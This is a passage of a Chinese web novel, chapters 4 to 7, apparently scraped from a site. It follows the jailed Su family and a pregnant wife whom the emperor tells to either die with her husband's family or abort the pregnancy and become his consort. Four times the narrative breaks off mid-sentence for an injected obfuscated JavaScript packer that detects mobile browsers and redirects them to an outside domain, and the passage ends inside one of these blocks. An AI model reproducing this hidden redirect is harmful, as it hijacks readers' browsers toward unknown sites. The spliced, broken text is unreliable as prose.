他敢为难人么? 更何况,宣家林家两家的宝贝姑娘还在里头待着呢! 他更不敢提的是……龙椅上那位的心思。 他冷眼瞧着,陛下这些年还是对人家惦念不忘。 今日打了所有人一个措手不及的这一出,怕不单是圣旨上说的什么通敌叛国的事——他苏国公府能叛国?你出去问问,三岁小儿都不信。 而这关头,老天爷,那位有孕了! 成婚三年都没有怀喜,怎么一出事就怀了? 这可叫什么事儿? “大人?” 尚书大人瞧着颇有些魂不守舍的模样。 狱卒有些着急,他是走了媳妇儿的关系入的刑部监牢;上月托媳妇儿又到刑部尚书夫人娘家走了一趟,才换得看守死牢这一清闲的好差事,可不能丢了。 刑部大牢寻常牢房里关押的都是些十恶不赦的坏人,一个个蛮横得很,他这小身板小胆量,可万万不能再被调回去,否则迟早被恶人吓死。 死牢多好啊?寻常不关人,一旦关了,都是些高官或权贵世家,且犯人多是些女眷和小孩儿。 这些人好相处,涵养也高,即便知道自己不久便要死了,也不会整日里呼天抢地或者咒骂不断。 他进来一月了,今日才见有人被关进来。 那可是苏国公府一家啊!他平日里哪里能接触得到这样的人物? 方才宣家主母、林太傅之女林夫人来了,一口一个“小哥”地叫着,美得他险些找不着道儿。 “大人,大人?”狱卒又接连叫了两声,也没能将尚书大人的魂儿给叫回来。 他想了想,很是干脆地跪下,“砰砰砰”将头磕得脆响,再次大声回答:“大人,小的哪里敢撒谎?宣小少夫人真真切切有两月余的身孕了,这都是林夫人带来的大夫说的。” 磕头声终于将梁方方的魂儿给叫了回来。 “你作死啊?恁的大声。”梁方方毫无一部尚书的风范,忙不迭从座椅上滚下来,跑到门口看了一眼。 还好,人都被他打发了。 “起来,跪着作甚?”他走回来路过狱卒身边,没好气地给了人一脚。 外人都说刑部上下都是人精,真该让他们好好看看这位。 - “娘,”林清婉要离去前,宣槿妤拉住她的衣袖,小声问:“我真的有了身孕了?”她犹有些不确信。 林清婉温和地看着自己的女儿。 嫁人三年了,眼神却还如未嫁时般清澈,此时脸上带着忐忑的模样,像极了她嫁入苏家前夕看着自己的样子。 她心里一软。 “是有了。”她温柔回道。 “别怕,”林清婉安抚着女儿,“你爹爹两位叔叔和兄长们都去打探消息了,你外祖父舅舅们也不会干等着。” “刑部我都打点好了,他们不会为难你们。” “你乖乖地在这里待着,好好养胎,娘会再来看你的。” 她快走出牢房时,又回头看了一眼,见女儿和女婿都在送她,二人间隔了三人距离不止。 她心里又酸又疼。 这算什么事儿?原好好的一对儿小夫妻。 她又走了回来。 “既和离书未生效,你们就还是夫妻。”她看得清楚,不止女儿有意,女婿也是有情的。 结合眼前苏家人的处境,午前在苏家闹的那一出,明眼人想想就知道怎么回事。偏她这女儿,白长了张漂亮的脸蛋,怎么就不愿动动脑子? 三年的夫妻,她竟还不清楚自己夫君的心意么? 她拉过宣槿妤的手,交给苏琯璋,“我这女儿被宠坏了,也就你还惯着她。” 无视女儿不满的一声“娘”,她继续说道:“三年都过来了,眼下这关头也别总想着推开她,我宣家姑娘也不是娇气到什么苦都吃不得。” 苏琯璋张了张嘴,他不赞同这话,但他知道不能在宣槿妤面前反驳,只得沉默。 “照顾好她。”林清婉最后说道。 “我会的。”苏琯璋道,并非承诺,而是他活着一日,便会护着她一日。 宣槿妤“哼”了一声,却没甩开他的手,任由他和自己十指交握。 他们已有月余未有亲密,纵使知晓不该,她却下意识地舍不得。 没出息透了。她再次在心里骂自己。 林清婉去看了看苏家其余人。 “亲家母,今日劳烦你了。”许玉娘紧紧握着林清婉的手,感慨地说道。 她也听到了她对小儿子小儿媳说的话,倒不好意思再撇清关系叫她“林夫人”,怕她生气。 也是,苏家人都入狱了,陛下态度未明,京兆府怕是不敢再在和离书上盖印的了。他们还是亲家。 林清婉笑笑,“许姐姐说的什么话?” 她又看向苏老夫人,“老太太受苦了。” 苏老夫人不在意地摆了摆手。她活了一把年纪,早就看透了,什么样的苦吃不得?即便来日一家人整整齐齐上了断头台,在她看来,也都是命数。 只可惜了失踪的二儿子,还有不离不弃的两位儿媳和几位孙媳。小孙媳妇儿肚子里还有一个呢!她怕是见不得了。 “亲家母一来,这死牢倒是大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762881|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变样了。”苏老夫人笑道。 原先的几间牢房什么都没有,除了他们一家活人,连只蚂蚁都不曾见着,十足简陋。 林清婉一来,席子床褥、围帘茶桌……什么都安排上了,就连洗手盆、恭桶也没落下。 如此倒是比之前体面太多,除了死牢的名头不好听,这环境相较起来倒是于外头寻常人家而言也不差什么。 林清婉回到宣府时,宣兆也才回来不久,他们的长子宣文威还在外头打探消息。两位叔子和几位侄子也还没递回动静。 “可给文晟递消息了?”林清婉问他。 宣文晟是他们的次子,府中排行第三,一众兄长中,女儿槿妤最喜欢的便是这个三哥哥了。 宣兆点点头,“已经传了信叫他回来了。” 只次子行踪不定,月前来信时说他还在苏州。不过照以往经验,他现下说不定到哪个州郡做生意去了,要回来最早也是晚一两个月的事。到那时,苏家之事怕早已尘埃落定。 “槿妤有孕了,两月余。”林清婉跟丈夫说道。 宣兆惊得站了起来。 “不行,我得接她回来。死牢里那是什么地方?她如何能待得了?”她还有了身孕,光想想宣兆头皮都要炸开。 林清婉拉住他,“你先坐下。” 宣兆只得顺着夫人的动作坐了下来。 “陛下下的令,谁能让你去接人出来?”林清婉没好气道,问他:“父亲进宫了?” 宣兆点头,“只怕陛下不愿见人。”他哪里坐得住?心里慌的不行,总要想着初初有孕的女儿。 他要当外祖父了,但女儿和还未出世的外孙还在死牢里受苦。他光想想就受不了。 “我只问你,”林清婉斟酌语气,“苏家是不是真的保不住了?” 方才狱中她和苏国公与苏琯璋都说了些话,观他们态度,似乎事态很严重。 “往日也不是没有被传通敌叛国的将领,”林清婉说,“苏家世代忠烈,怎的就到了保不住的地步了?” 宣兆深深地看着妻子,附在她耳边,压低了声音,“没有余地,是因为这就是陛下想要的结果。” 君要臣死。 自古以来,哪个臣子能在这几个字下善终? 林清婉心口一跳。 “我是不是做错了?”她问宣兆,又忐忑地说:“我以为事情不会这般严重,又想他们小夫妻重归于好,才将府医带去牢中诊脉。” 以为有了孩子这小夫妻就能坐下好好谈谈,以后还能一起和和美美过日子。 别说她这当娘的不偏心自家女儿,她就是深知自己女儿的脾性,是个受不了半点委屈的,她也就是嫁给了苏琯璋,才能过得好好的。 放到旁的人家,一早就挨不住要和离了。 更何况,知女莫若母,她看得出来,自己女儿是喜欢苏琯璋的,不然也不会闹了三年,还舍不得真的和离。 郎有情妾有意的,她哪里舍得让女儿怀着孩子和离归家? 宣兆拉她到自己怀中坐下,抱住她,“夫人别想这么多,看岳父回来怎么说。”他安慰道。 确实,此时还不到慌乱的时候。 林清婉也慢慢冷静下来。 5. 第 5 章 宫中。 即正殿是大盛历代皇帝处理政事的地方,此时林太傅林韧还跪在这里。 此处禁卫森严,往来宫女太监并不多,只守着前殿的侍卫面容冷肃,一副生人勿进的模样。不过,此时有人瞧着却是有些不忍心的样子。 “太傅跪了多久了?”来换班的侍卫甲忍不住问方才值守的侍卫乙。 侍卫乙小声回:“差不多一个时辰了。” 竟是快一个时辰了?! 侍卫甲和乙顺利换了班,其余侍卫也交接完毕,他不敢再说话,只心里忍不住感慨。 林太傅今年多大年纪了?还是陛下的老师呢!陛下竟也忍心让他跪这么久。 刚登基的时候一口一个老师,三拒太傅的请辞折子;如今皇位稳当,老师的面子也没那么大了。 好生冷情。 当然,这些话他也只敢在心里想想便赶忙抛开了,多想都不能。 其实,侍卫甲也有点冤枉新帝了。 他不知内情,以为陛下真的好端端地在殿中坐着,而晾着他的老师在外跪了这般久。 但新帝盛誉自早上接到前线密报,便一直绷着心神。 苏国公府势大,自建朝开始便是勋贵之家,代代护佑大盛,颇得百姓赞誉。在百官之中更是根深繁茂,往年还好,他们从不与文臣结亲。 但…… 他们和宣家结亲了。 得了宣家的势不止,还得了太傅府的人脉。这下,大半个朝堂便都和他苏国公府有了干系。 臣强则君弱,他不能再任由苏国公府势力继续扩张下去了。 想到嫁给了苏琯璋的宣槿妤,他眉目便冷厉了几分,毫无在旁人面前和煦的帝皇形象。 玉扳指磕在硬木书案上,发出清脆的“叩叩”声。声停时,他展开宣纸,取过毛笔,慢慢写下一个“快”字。 苏家二叔失踪的消息是快马加鞭赶回来送给他的,送信的人是他安插在军中的心腹。照理说战场之事还要得几日才会随战报递回京城,但他等不及了,他要的就是一个“快”字。 他知晓苏家有自己的传信通道,他得知消息的同时想必苏家也已获悉,这时候,只有比他们更快一步,才能得到他想到的结果。 召见禁军统领袭放、刑部尚书梁方方,下令京兆尹看好京城,又勒令前朝后宫戒严……他切断了所有可能为苏国公府或其一系通风报信的通道。 他一上午,尽在忙碌这一件事,直到禁军统领袭放回禀苏家一众皆被关押进刑部死牢才敢松出一口气。 恰逢正午,他紧绷了一上午的心弦一松,便忍不住打了瞌睡。 林太傅入宫求见时,他正困倦,又有心晾一晾他,便只吩咐太监:“就说朕睡下了,不见。”倒头便睡。 不料这一睡便是将近一个时辰。 林太傅在外跪了一个时辰、和刑部尚书梁方方求见的消息,是同时送进寝殿的。 盛誉心下发虚,大盛崇尚尊师重道,历代皇帝,即便最昏庸无能的废帝,也不会让自己的老师跪那么久。 他咳了声,“怎的没人叫醒朕?竟让老师跪了这般久。” 他唤来自己得用的吴太监,“快扶老师起身,请他到偏殿坐着歇息,茶水点心伺候着。等朕忙完了便见他。” 想必他怠慢老师的消息早已传遍朝野,既如此,他便也不必急着见人。那老头子心里也定然会有些想法。 但那又如何?只要他扳倒了苏家,掌握了军权……他眼神冷沉了下来,朝政他已经熟悉,老师也是时候致仕归家了。 这厢盛誉在洗漱更衣,到前殿召见刑部尚书,那头吴太监已经恭恭敬敬地扶起了林太傅。 “太傅竟跪了这般久,”吴太监语气心疼,又给盛誉说好话,“太傅您求见的时候,陛下正忙着,连口水都没空喝,才吩咐底下人说不见任何人。” “哪知您那时候就来了,哎呀,真是不巧了。” 吴太监扶着双腿酸麻肿痛的林韧慢慢朝偏殿走去,“苍天可鉴,陛下政务繁忙确确真真,并不是针对您的。您也知道,陛下是您的学生,平日里再尊敬您这个老师不过了。” 林韧只是慢慢走着,时不时弯腰伸手揉着双膝。 他人老了,不中用了,才跪了多久,感觉腿都要废了。 吴太监在他面上看不出任何不满,却也不见着和煦之意,便继续说道:“皇上不是故意晾着太傅的,他只是打了个盹儿,不想近日过于劳累,竟睡到了现在。是真不想竟怠慢了太傅。” 他又骂道:“这般奴才也不知如何做事的,竟如此不懂规矩。太傅您放心,回头老奴便好好责罚他们。” 林韧听了吴太监一席话,也只是颔首,道:“陛下劳累,吴太监得多照顾着。” 至于责不责罚宫中人,他一介朝臣,哪里会干涉宫中之事。 这老太监还给他下套。 林韧心下沉吟,看来皇帝对他积攒的不满也快到头了。膝盖传来一阵刺痛,他却不动声色。 “太傅放心,事关陛下,老奴定当尽心。”太傅这话一听便知他在敷衍自己,肯定不信陛下说的什么在忙的假话。 吴太监心里叫苦,但也只连声应了。 前殿正殿中,盛誉已经听完了梁方方的禀事。 “有孕?”他不悦地眯了眯眼,森寒的语气让梁方方心里直打鼓。 好歹是一部尚书,还历经两朝,梁方方也是见过大风大浪的,但他也是第一次见一向以温润儒雅示人的陛下露出这样阴戾的一面。 “回陛下,宣氏确已有孕,臣入宫前请了大夫复诊过了。”梁方方让自己冷静地答话,不去看上首之人黑沉的面色。 “哦?”盛誉看了眼这位素以精明称道的刑部尚书,不意外他的谨慎。 “那你说说,大夫还说了什么?”他戴着玉扳指的手慢慢敲击着书案。 清脆的叩击声,声声落入耳中,却如催命之音,道道落在心上。 给嫁了人的妇人诊脉,诊出喜脉了大夫还能说什么?梁方方心里暗暗叫苦。 伴君如伴虎,为臣者尤其为重臣者,多多少少能感知几分帝王心情——尤其先帝还是那样一个性情不定的帝王。 梁方方揣测得了先帝的心意,便也能猜出眼前的新帝几分心思。 他便清清楚楚地意识到上头的人已经动了怒,且正怒火中烧,亟需找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762882|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个倒霉鬼烧一烧。 他很有可能就是那个倒霉鬼。 梁方方虽不愿做小人,但家中老小还得仰仗他。 心一横,他如实说出面前之人想听的话。 “大夫见宣氏入了死牢,心里很是不忍。”梁方方斟酌着答话,“臣告诉他,宣氏娘家有依靠,若是狠下心堕了胎回娘家也是一条生路。” 盛誉叩击书案的手终于停下。 落入鬼门关的一只脚终于能收了回来,梁方方顿时松了口气。 “大夫说,宣氏身子很好,即便堕胎,休养一段时日便能恢复,不会影响再嫁生子。” 既然已经做了小人,便只能硬着头皮做到底。 梁方方只在心里对苏家和宣家人道了歉,面上一派无辜,“陛下,若是宣家和林家来人要求宣氏与苏家小公子和离归家,臣放是不放人?” 苏少卿,梁某也对你不住。 若你真死了,梁某会记得为你烧纸钱的。 盛誉冷眼看着梁方方,直盯到他额头背后冷汗涔涔,才终于开口,“宣林太傅。” 直到林韧走进殿中行礼起身,他也没让梁方方起来。 傍晚时分。 和两位重臣用过饭,皇帝才放了人出宫。 才出宫门,二人便直奔着刑部大牢而去。 林清婉亲自打过招呼,又有和苏家亲近的人家如他们的姻亲暗中提点,刑部死牢一行人过得并不差。 林韧被梁方方亲自领到死牢中时,送饭的狱卒才拎着装了空碗碟的食盒走出通道,朝他们迎面走来。 见到二人,狱卒忙放下手中食盒,跪下行礼。 林太傅听到了碗碟在食盒中的碰撞声,一言未发。 倒是梁方方对狱卒交代了一声,“夜里警醒些,也别让他们受罪了。” 狱卒连声应下。 等狱卒退下,林韧似笑非笑地看了一眼梁方方。果真是只老狐狸,交代给谁看给谁听呢? 梁方方假装不知,依旧带着他往前走去。 “太傅大人,陛下有交代,下官得在旁听着。”他对林韧说着,对听闻动静而看过来的苏国公一家点了下头。 “那你便听着罢!”林韧瞥了他一眼,“打开牢门。” 梁方方照做,待人进去,他便锁了牢门,站在一旁,摸了摸鼻子,厚着脸皮光明正大地听着祖孙谈话。 “外祖父。”宣槿妤见到林韧,忍不住朝他撒娇,“您怎么才来。” 林韧摸了摸她的头,“是外祖父来晚了,你没受罪罢?” 宣槿妤轻轻吸了吸鼻子,忍住即将盈聚的眼泪,摇了摇头。 “外祖父,您在宫中是不是也受罪了?” 宣槿妤看着鬓中染霜的林韧,小心地扶他在矮凳上坐下。等他坐好了,她便在他面前跪坐下去,将头轻轻置于他膝上,如同小时候在他膝下撒娇嬉笑一般。 外孙女儿头压在伤处,林韧仿佛察觉不到膝上的疼痛般,只避过了这个话题,“陛下有话要我传达给你。” 宣槿妤抬起头来。 苏琯璋轻轻将她拉了起来,在她身后放了张矮凳,“外祖父膝上有伤,你们坐着说话。” 6. 第 6 章 外祖父膝上有伤…… 苏琯璋曾是武将,便是入了大理寺三年也不曾落下武学一日。 习武之人多敏锐,能察常人不能察之事。夫妻三年,宣槿妤便是和他闹得再凶,也不会怀疑他说的话。 宣槿妤几乎是下意识地便相信了他作出的判断,眼睫一颤。抬眸时又恰看到林韧不赞同地看着苏琯璋的眼神,眼中泪水再也忍不住,串串往下落。 膝上有伤,外祖父年纪这么大了,平日里办差、入宫进出基本都坐轿子,不会磕碰;且她前日才去太傅府探望过他老人家,怎么这么快就有了伤了? 他才从宫中出来,再结合刑部尚书之言…… 宣槿妤霎时便想明白了林韧膝上的伤是如何得来的了。 “狗皇帝。”她忍不住小声骂了一句。 旁边三座牢房的苏家人不会特意旁听太傅和宣槿妤的谈话,只静静地待着,照顾孩子、或者做些轻活儿。他们不刻意保持安静,但也不吵闹。 宣槿妤虽骂得小声,一旁的苏家人没听见,但不代表别的人没听到。 听到的人反应不一。 静立在宣槿妤旁边的苏琯璋面色不变,只看了一眼牢门口脸色大变的刑部尚书。 林韧无奈又头疼,数落外孙女,“你这丫头,到底是聪明还是愚笨?” 也不看看自己现在是在哪里,且不说尚还自身难保,外头也还有个耳报神盯着呢!这话岂能胡乱说? 舍不得对外孙女说再重的话,他只眼神凌厉地朝梁方方看去。 刑部尚书才在皇帝那里坑了人家一回,现下心里正愧疚,接到林太傅威胁的眼神,忙不迭开口。 “太傅放心,下官什么也没听到。” 他又看向宣槿妤,“只小少夫人要留意些,什么话不该说心里要有个数,不然本官也不好做。” 宣槿妤面色难看地应了声。 她并非不懂尊卑,只气狠了又一时没反应过来这是在刑部死牢里。身边站着的人太熟悉,面前的人又是疼爱她的外祖父。 她只是潜意识里觉着,自己好似在太傅府,或者在苏家的荆竹园里。 只是,到底是被无条件娇惯养大的姑娘,纵使被警告了,她还是气不过。 狗皇帝!臭皇帝!昏君!她又在心里骂了三声,这才觉得心里的气消散了一点。 “外祖父,您上过药了吗?”她关切地问林韧,再想不起他方才说的皇帝要他向她转达话的事来。 得了,轻重不分,还是那个笨丫头。 林韧叹了口气,回道:“无碍。太医看过,吴太监也已经替我上过药。” “外祖父是没事,倒是你。”林韧神情严肃起来,先是眼神复杂地看了一眼外孙女婿苏琯璋,又看向宣槿妤。 “皇上说,他只给你两个选择。” 苏琯璋眼神一厉,垂在身侧的手微微动了动,却是什么也没说,只紧紧地盯着宣槿妤。 宣槿妤有些诧异,她和狗皇帝之间能有什么选择可做的? 见外孙女一脸的茫然,林韧心里又酸又苦。 他的乖乖外孙女儿,才不到二十岁的年纪,怎么就要经历这样的事见识到这样龌蹉的人心? 不过他也没得选择,外头斜靠着牢门的刑部尚书梁方方已经咳了好几声了。再咳下去,他没事还好,怕将外头守着的狱卒吸引进来。 此事多一个人知晓,便多一个人陷入危险。 苏家人不算。 被关押在这里的苏家人,有一个算一个,即便是那不满三岁的小娃娃,怕也是在劫难逃。 “皇上说,你只有两个选择。”沉默良久,林韧终于开口,“第一个选择,和苏家人一起赴死。” 苏琯璋神情不变,宣槿妤心中却是一颤。 他要死吗? 苏家人都逃不过吗? 她无措地朝自己的外祖父看去,眼神中尽是乞求。 三年夫妻缘尽,她虽然不要这个臭男人了,但她也从未想过要他去死。 林韧安抚地看着她,“冷静一点。”他说,话对着宣槿妤说,眼神却是看向苏琯璋,“第二个选择,堕胎,入宫为妃。” 堕胎?! 入宫为妃?! 苏琯璋身上清清淡淡的气息全散了,取而代之的是危险的冷寒。 到底是心里有鬼,梁方方只觉得森寒之气好似自这个年轻人身上散发出来,直往他身上扑,往他心里钻。他被冻得受不了,忙站直了身子,后退一步,远离冷气来源。 与苏琯璋离得最近的宣槿妤却毫无所觉,她被外祖父口中的第二个选择惊到了。 “堕胎?入宫为妃?” 好不容易回过神来,宣槿妤忍不住高声反问,“外祖父,您确定这是一个选择?” 莫说入宫为妃她难以接受,光是要她堕胎,她就受不了。 她“腾”地自矮凳上站起,也不等林韧确认,只转过身子盯着梁方方。 “我有孕的消息,是梁尚书大人传进宫中的罢?”她冷声问,语气里尽是质疑与不满。 梁方方哪里会被这样一个丫头片子吓到,只面不改色地说:“是本官,小少夫人,这是本官的职责。” 言下之意,她无权指责。 他一个两朝尚书,性子是圆滑,但该强硬的时候也不会孬得软弱。 “太傅大人,时辰不早了,尽早谈完事,下官差人送您回府。”他转头看向已经站起的林韧,态度已经隐隐变了。 一旁的苏家人,有一个算一个,连那看起来还未断奶的小娃娃也都盯着他看。 看什么看? 你们死定了。 梁方方此时才终于有了身为“小人”的自觉。 自陛下将苏家人扔进他这刑部死牢里那一刻,不,是从早上接到陛下召见进宫的那一刻,他已经注定和苏家人不死不休。 而他入宫向皇帝禀明宣槿妤有孕,又向他进言说堕胎之事,更是加速了他和苏家一系关系的破裂速度。 官场的残酷,他入朝为官三十余载,才算是真真正正见识到了。 不是你足够圆滑,就能避免的。这是陛下给他的告诫,或者说,是给他的警告。 上位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762883|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者,怕是也见不惯他的左右逢源。 不过短短一瞬,几乎是宣槿妤站起身的那瞬间,梁方方便想清楚了这件事。 林韧却比他看得透,时间也早他许多。 是以,面对梁方方的催促,他并未说什么。 官场之间无对错,立场不同而已。 “槿妤,”林韧知道自己必须当一个恶人,一个摧毁外孙女纯洁美好世界的恶人,于是他说:“你要现在就做下决定。” 宣槿妤自出生到长大,有宣家和林家两家为她护航,顺风顺水地长大。当年任性地抗旨拒婚却毫发无损,更是将她的胆子惯得极大。 等到嫁了人,苏琯璋虽说性子冷了点木讷了点讨她嫌了一点,但对她基本百依百顺。而其余苏家人,对她也十分友好;尤其婆母许玉娘,待她更是如同亲女儿般亲切疼爱。 她背后靠着大盛权势最鼎盛的三个家族,性子越发嚣张娇纵,还无人敢欺她。她长这么大,见识到的最大恶意也不过是今日宴席上被人含沙射影地嚼了几句舌根而已。骂她不要紧,她已经当场骂了回去。 可是同在今日,她先是被捉进死牢,吃了些苦头;再是被外祖父口中的“赴死”吓到。如今,她又见识到了真正的恶意。 堕胎,入宫为妃。 前一个词她听起来如此陌生胆寒,以至让她身子不由得微微发颤。而后一个词,简简单单,却让她遭受了生平最大的侮辱。 宣槿妤后退一步,下意识靠到苏琯璋温暖熟悉的胸膛上,心下终于有了安全感,那股冷寒好似也在散去。“我不要入宫为妃,我更不要堕胎。” 她几乎是瞬间做出的回应。 林韧只笑笑,并不意外她的选择似的,伸手摸了摸她的头,只说了声“好”,便示意梁方方打开牢门锁链。 梁方方却没动,只说道:“太傅大人,要给出原因的,不然陛下那里下官不好交代。。” 原因? 她拒绝堕胎的原因,还是入宫为妃的原因? 宣槿妤险些被气笑,若按她往日的脾性,定要破口大骂起来,就如同今日上午在武安侯府宴席上那样。 只她才遭难,又刚犯下脱口而出骂皇帝这样罔顾尊卑的杀头之罪,才犯过的错,她不会重蹈覆辙。 她深深吸了口气,感受着苏琯璋扶在她腰间安稳的力道,让自己平静下来。 “梁大人也知道,我嫁人三年才得的好消息,实在不忍心不要它。”她双手抚上腹部,成一个保护的姿势。 “至于入宫为妃,”宣槿妤笑,眉眼微微上挑,是一个挑衅的态度,“告诉陛下,我若要嫁他,当年便不会抗旨拒婚。” 狗皇帝,还是给他脸了。她恨恨地想着。 梁方方脸色再次变了。 这宣家姑娘果真……说是蠢还是莽? 他方才听得她第一句解释,还以为这姑娘长了教训会说话做人了呢!结果她接下来说了什么? 什么叫“我若要嫁他,当年便不会抗旨拒婚”? 这话里的意思,是将当今的脸面狠狠地扯下来,再扔地上踩上几脚。 7. 第 7 章 梁方方看着林韧和苏琯璋的眼神霎时就变了。 “二位,当真要我这样回话?”他问,眼神沉冷,脸上也再不见往日的好颜色。 若他当真这样回话,且不说他会不会遭到陛下记恨,光宣槿妤给当今的羞辱,就足以让已经走在悬崖边的苏家万劫不复。 林韧只面上微微一笑,点了下头。 苏琯璋揽在宣槿妤腰间的力道紧了紧,却不会让她感到不适,“梁大人如实说便是。” 梁方方深吸口气。 疯了,这两人都疯了。 林韧疯他不意外,毕竟是捧在手心里千宠万宠的姑娘,却被当今这样步步紧逼,又是威胁,又是羞辱。 但苏琯璋,这个大理寺少卿向来以冷静理智闻名朝堂,按理说不会跟着发疯才是。 但他又一想,皇帝都要杀他未出世的孩子,还要他的妻子入宫当妃妾,他疯好像又情有可原。更何况,苏琯璋也是上过战场杀敌的少将军,入朝为官不过三年而已,还未能如此快地磨灭他身上的血性。 只梁方方还是不甘心,给林韧开了锁,放他出牢门后,他又看向苏国公和苏老夫人。 “国公爷,老夫人,方才小少夫人的话想必您二位都听见了。”梁方方在做最后的努力,“方才那一番话,我可以当作没听见。” 他目光扫过几个孩子,见最大的不过七八岁,心里有最后一丝恻隐,“孩子们还小,还望二位深思。” 苏老夫人呵呵一笑,隔着两座牢门看向长孙的长子苏玉启,眼神和话语中皆是慈爱,“启哥儿你来说。” 重长孙已经八岁,该懂的基本都懂了,苏家人并不将他们视作无知小儿。苏琯璋在他这个年纪,已经上过战场体验过战争的残酷了。 若非此次苏二叔出了意外,待前方战事安稳,启哥儿也是要被送到前线战场,由他父亲亲自带着在战场走上一遭的。 紧紧靠在祖父苏国公苏声身边的苏玉启自是听明白了方才小婶婶和这位尚书大人之间的对话,闻言毫不迟疑地开口,“启哥儿支持小婶婶。” 他尚且年幼,还不知入宫为妃于苏琯璋、于宣槿妤而言意味着什么,光“堕胎”二字,他便听出了皇帝的不怀好意。 苏家男儿,即便身陷囹圄,也绝不改男儿顶天立地之色。这是他懂事之后,父亲教给他的第一个道理。 兄长都说话了,和苏玉启靠在一起的三个小男孩儿,即苏二叔苏印的孙子们也都开口附和,“大哥哥说得对,支持小婶婶。”稚声稚气的,像在学堂上乖乖附和先生一般乖巧。 苏老夫人赞许地点了点头,说了声“乖孩子,你们都是好孩子”,便不再开口。 便是许玉娘和苏家二婶、苏琯璋的三位嫂嫂,脸上也未见不赞同之色。 胡闹。 屁大点的孩子,你们知道什么是生死么,就支持小婶婶?你们口中的小婶婶,在送你们去死。 梁方方气到失了智,全然忘了送苏家人去死的并非宣槿妤,本次祸端根源本就不在她身上。 他又看向苏国公。 苏声一派正色,“梁尚书回宫复命便是。” “你你你……你们……”梁方方被气得不轻,失礼地指着这一家子,却什么话也没能再说出来。 他怒气冲冲地拂袖而去。 林韧最后看了一眼宣槿妤,说:“外祖父不会让你们赴死的,别怕。” 朝中文官大半是他的人脉,府中还有先帝御赐的金腰带,苏家旧人和亲近的人家也占了武官人脉的大半。他确实挺有把握。 再不济…… 林韧脸色沉了沉,转身往死牢通道处走。 他手中还握着当今登基时的把柄……如有必要,他不介意鱼死网破。 盛誉给宣槿妤的两个选择,如何不是在他老脸上狠狠刮了一巴掌?拉拢刑部尚书和他一系的文臣,再除掉苏家,新帝势力便会大成;想必林家,他也容不下了。 “槿妤。” 梁方方和林韧都离开了,苏琯璋再无顾忌,紧紧抱住宣槿妤。 他很意外她竟会选择陪他赴死。 他总以为在她心里,他的分量十分轻微;但此刻他觉得,这是她回馈他的最好的情话。 宣槿妤任他抱着,嘴里却说:“别想多了,我就是不喜欢他。但凡他不要我堕胎入宫,我就要和离归家,独自抚养孩子长大。或者挑个看顺眼的嫁了,谁管你死不死的。” “嗯。”苏琯璋只应了声,仍是抱着她不放,也不知有没有将她的话听在耳中。 “母亲嫂嫂们都看着呢!”良久,宣槿妤推了推还在紧紧拥着她的男人,“孩子们也都看过来了。” 在苏家人面前,她的面皮到底不如他的厚;他仍旧不松手,神情也十分自然,但她面色已然开始发烫起来…… 入夜。 应苏声要求,狱卒灭了通道的几处火把,死牢里陷入伸手不见五指的黑暗之中。 时辰尚早,甚至还未到平日里孩子们入睡的时候,隔壁的彤姐儿、对面的两位侄女和斜对面的四位侄子正隔着牢门玩你说我猜的游戏。 彼此之间只能听到声音,却不见人影。在这样的环境下嬉笑玩闹,于他们而言,是种挺新奇的体验。 看不见的情况下,人的感官尤其耳朵会变得越发敏锐。苏声是武将,他在以这种方式锻炼孩子们。 孩子们适应良好,但黑暗中时不时还是有磕碰声传来,伴随着某个孩子的惊呼或嬉笑声。 玩得太过,便会有大人出面干涉,苏老夫人、苏声和许玉娘是不管的,干涉的也只是孩子们的娘亲——她们到底还是年轻,舍不得孩子遭罪。 关押在死牢里的生活,竟是这样的。 宣槿妤心里的委屈和气恼早在不知不觉中消散,只觉得新鲜,又觉得十分温馨。 一大家子都在一处,真好。 若是苏家此次能够绝处逢生……宣槿妤慢慢地想着,问着自己,她还要和苏琯璋和离吗? 夫子的哭喊和冲天的火光第一次没有出现在心头,她只安静地听从心底的声音,察觉到有又酸又涩的感觉在弥散。 苏琯璋试探地将她揽进怀中,见她没有推开的意思,便将手环在她腰间,小心地触碰她的腹部。那里,孕育着他们的孩子,它已经有两个多月了。 “对不起。”二人的身体紧紧相贴,宣槿妤能察觉到他低声说出这句话时语气中的些微哽咽,和他略有急促的心跳声。 好生稀奇。 这男人竟也会哭么? 宣槿妤转过身,和他面对面贴着,伸手朝他脸上摸去。 太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 